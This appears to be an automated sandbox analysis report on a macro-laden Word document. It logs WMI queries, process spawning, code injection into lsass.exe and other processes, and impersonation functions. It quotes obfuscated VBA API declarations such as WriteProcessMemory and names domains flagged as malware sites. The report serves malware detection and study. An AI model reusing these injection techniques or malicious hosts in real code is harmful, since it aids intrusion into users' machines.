Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::CreateInstanceEnum - Win32_Process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - select * from win32_process
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::GetObject - win32_process

Reads ini files

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

File read: C:\Windows\win.ini

Reads software policies

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Sample is known by Antivirus (Virustotal or Metascan)

Show sources

Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc

Virustotal: hash found

Spawns processes

Show sources

Source: unknown	Process created: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE
Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\System32\cmd.exe
Source: unknown	Process created: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp
Source: unknown	Process created: C:\Windows\System32\wbem\WmiApSrv.exe
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe cmd /K
Source: C:\Windows\explorer.exe	Process created: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp
Source: C:\Windows\System32\services.exe	Process created: C:\Windows\System32\wbem\WmiApSrv.exe C:\Windows\system32\wbem\WmiApSrv.exe

Uses an in-process (OLE) Automation server

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{529A9E6B-6587-4F23-AB9E-9C7D683E3C50}\InProcServer32

Contains functionality to communicate with device drivers

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE

Code function: 0_2_0315B29A: wsprintfA,CreateEventA,CreateEventA,CreateEventA,GetFileAttributesW,CreateFileW,CreateThread,DeviceIoControl,GetLastError,

0_2_0315B29A

Creates mutexes

Show sources

Source: C:\Windows\System32\dwm.exe	Mutant created: \Sessions\2\BaseNamedObjects\{DFD70B66-A70A-4F54-931B-77F2FF57DCC0}
Source: C:\Windows\explorer.exe	Mutant created: \Sessions\2\BaseNamedObjects\Local\mtxLogMeInIgnition.IgnitionMutex
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Mutant created: \Sessions\2\BaseNamedObjects\{9EF9380E-2F0A-403C-9D3A-C71AE6DB6428}

Document contains embedded VBA macros

Show sources

Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc

OLE indicator, VBA macros: true

Found potential string decryption / allocating functions

Show sources

Source: C:\Windows\explorer.exe

Code function: String function: 10001D2A appears 55 times

Reads the hosts file

Show sources

Source: C:\Windows\explorer.exe

File read: C:\Windows\System32\drivers\etc\hosts

Antivirus detection for domain

Show sources

Source: api.ipify.org	AutoShun: detected as malicious site
Source: tinhorecrin.com	BitDefender: detected as malware site
Source: tinhorecrin.com	Malwarebytes hpHosts: detected as malware site
Source: tinhorecrin.com	BitDefender: detected as malware site
Source: tinhorecrin.com	Malwarebytes hpHosts: detected as malware site
Source: tinhorecrin.com	BitDefender: detected as malware site
Source: tinhorecrin.com	Malwarebytes hpHosts: detected as malware site
Source: www.mi4nd.com	BitDefender: detected as malware site
Source: www.mi4nd.com	Emsisoft: detected as malware site
Source: www.mi4nd.com	Quick Heal: detected as malicious site
Source: www.mi4nd.com	Malwarebytes hpHosts: detected as malware site
Source: www.mi4nd.com	Quttera: detected as malicious site
Source: www.worstofbreed.net	BitDefender: detected as malware site
Source: www.worstofbreed.net	Emsisoft: detected as malware site
Source: www.worstofbreed.net	Fortinet: detected as malware site
Source: www.worstofbreed.net	Quick Heal: detected as malicious site
Source: www.worstofbreed.net	Malwarebytes hpHosts: detected as malware site
Source: tinhorecrin.com	BitDefender: detected as malware site
Source: tinhorecrin.com	Malwarebytes hpHosts: detected as malware site
Source: tinhorecrin.com	BitDefender: detected as malware site
Source: tinhorecrin.com	Malwarebytes hpHosts: detected as malware site

Document contains an embedded VBA macro which executes code when the document is opened / closed

Show sources

Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: Private Sub Document_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function Document_Open			Name: Document_Open

Document contains an embedded VBA macro which may execute processes

Show sources

Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: Public Declare PtrSafe Function petrology Lib "Shell32.dll" Alias "SHValidateUNC" (tiling As LongPtr, lymphocyte As Any,fructification As LongPtr) As Boolean
Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: Public Declare PtrSafe Function princeofwalesheath Lib "Shell32.dll" Alias "SHGetDesktopFolder" (admired As LongPtr)
Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: Public Declare PtrSafe Function selfconsciously Lib "Shell32.dll" Alias "SHGetSettings" (impurity As LongPtr,creditworthy As LongPtr) As LongPtr
Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: Public Declare Function architectonics Lib "Shell32.dll" Alias "SHValidateUNC" (desirableness As Long, diphyletic As Any, participate As Long) As Boolean
Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: Public Declare Function silenus Lib "Shell32.dll" Alias "SHGetDesktopFolder" (astray As Long)
Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: Public Declare Function entrenchment Lib "Shell32.dll" Alias "SHGetSettings" (averti As Long, mindless As Long) As Long
Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: nutshell = 96 + 16711584
Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: allover = chrysopsis(pythonidae, nutshell, 2)

Document contains an embedded VBA macro with suspicious strings

Show sources

Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: Public Declare PtrSafe Function cheese Lib "Kernel32.dll" Alias "LocalFree" (jejunostomy As LongPtr) As LongPtr
Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: Public Declare PtrSafe Function alta Lib "Kernel32.dll" Alias "WriteProcessMemory" (ByVal lather As Any, ByVal phocidae As Any, ByVal sunt As Any, ByVal multiplication As Any, ByVal alarming As Any) As LongPtr
Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: Public Declare PtrSafe Function alta Lib "Kernel32.dll" Alias "WriteProcessMemory" (ByVal lather As Any, ByVal phocidae As Any, ByVal sunt As Any, ByVal multiplication As Any, ByVal alarming As Any) As LongPtr
Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: Public Declare PtrSafe Function haughtily Lib "Kernel32.dll" Alias "SetSystemTime" (beginner As LongPtr) As Boolean
Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: Public Declare Function swordtail Lib "Kernel32.dll" Alias "SetSystemTime" (copehan As Long) As Boolean
Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: Public Declare Function peut Lib "Kernel32.dll" Alias "LocalFree" (cannaceae As Long) As Long
Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: Public Declare Function alta Lib "Kernel32.dll" Alias "WriteProcessMemory" (ByVal rhombohedral As Any, ByVal evidentiary As Any, ByVal centralfire As Any, ByVal polyborus As Any, ByVal clansman As Any) As Long
Source: ad89a7ca5869cb6ea153be32740e6fe4c2fae06383c4680560cc3dd861c2a77a.doc	OLE, VBA macro line: Public Declare Function alta Lib "Kernel32.dll" Alias "WriteProcessMemory" (ByVal rhombohedral As Any, ByVal evidentiary As Any, ByVal centralfire As Any, ByVal polyborus As Any, ByVal clansman As Any) As Long

Document contains an embedded VBA with base64 encoded strings

Show sources

Source: VBA code instrumentation

OLE, VBA macro: Module ThisDocument, Function claque, String postmeridian

Launches a second explorer.exe instance

Show sources

Source: unknown	Process created: C:\Windows\explorer.exe
Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Process created: C:\Windows\explorer.exe

HIPS / PFW / Operating System Protection Evasion:

Contains functionality to create a new security descriptor

Show sources

Source: C:\Windows\explorer.exe

Code function: 1_2_10002EF5 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

1_2_10002EF5

May try to detect the Windows Explorer process (often used for injection)

Show sources

Source: explorer.exe	Binary or memory string: ProgmanB
Source: explorer.exe	Binary or memory string: Program ManagerX
Source: explorer.exe	Binary or memory string: Progman
Source: explorer.exe	Binary or memory string: Shell_TrayWnd

Contains functionality to execute programs as a different user

Show sources

Source: C:\Windows\explorer.exe

Code function: 1_2_1000B56A lstrcmpiA,LogonUserA,lstrlenA,LCMapStringA,LogonUserA,LogonUserA,LoadUserProfileA,ImpersonateLoggedOnUser,RevertToSelf,UnloadUserProfile,CloseHandle,

1_2_1000B56A

Allocates memory in foreign processes

Show sources

Source: C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE	Memory allocated: C:\Windows\explorer.exe base: 400000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory allocated: C:\Windows\System32\lsass.exe base: 5D0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory allocated: C:\Windows\System32\spoolsv.exe base: 6E0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory allocated: C:\Program Files\Common Files\microsoft shared\VS7DEBUG\MDM.EXE base: 3D0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory allocated: C:\Windows\System32\rundll32.exe base: 150000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory allocated: C:\Windows\System32\dwm.exe base: 350000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory allocated: C:\Windows\explorer.exe base: BC0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2D0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory allocated: C:\Windows\System32\conhost.exe base: 60000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 6A0000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory allocated: C:\Windows\System32\wbem\WmiApSrv.exe base: 320000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory allocated: unknown base: 3120000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory allocated: unknown base: 620000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory allocated: unknown base: 400000 protect: page execute and read and write
Source: C:\Users\MATTBR~1\AppData\Local\Temp\BN3918.tmp	Memory allocated: unknown base: 170000 protect: page execute and read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\smss.exe base: 20000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\csrss.exe base: 5F0000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\wininit.exe base: D0000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\services.exe base: 80000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: unknown base: 1E0000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\lsm.exe base: D0000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 3A0000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2D0000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 600000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 560000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 340000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 640000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 120000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: unknown base: 5B0000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F0000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: unknown base: 560000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 140000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: unknown base: 460000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\csrss.exe base: 500000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 100000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\taskhost.exe base: 710000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: unknown base: 3D0000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: unknown base: D70000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 160000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 590000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: unknown base: 3010000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: unknown base: 6B0000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: unknown base: 1280000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: unknown base: 4F0000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\csrss.exe base: 760000 protect: page read and write
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 690000 protect: page read and write
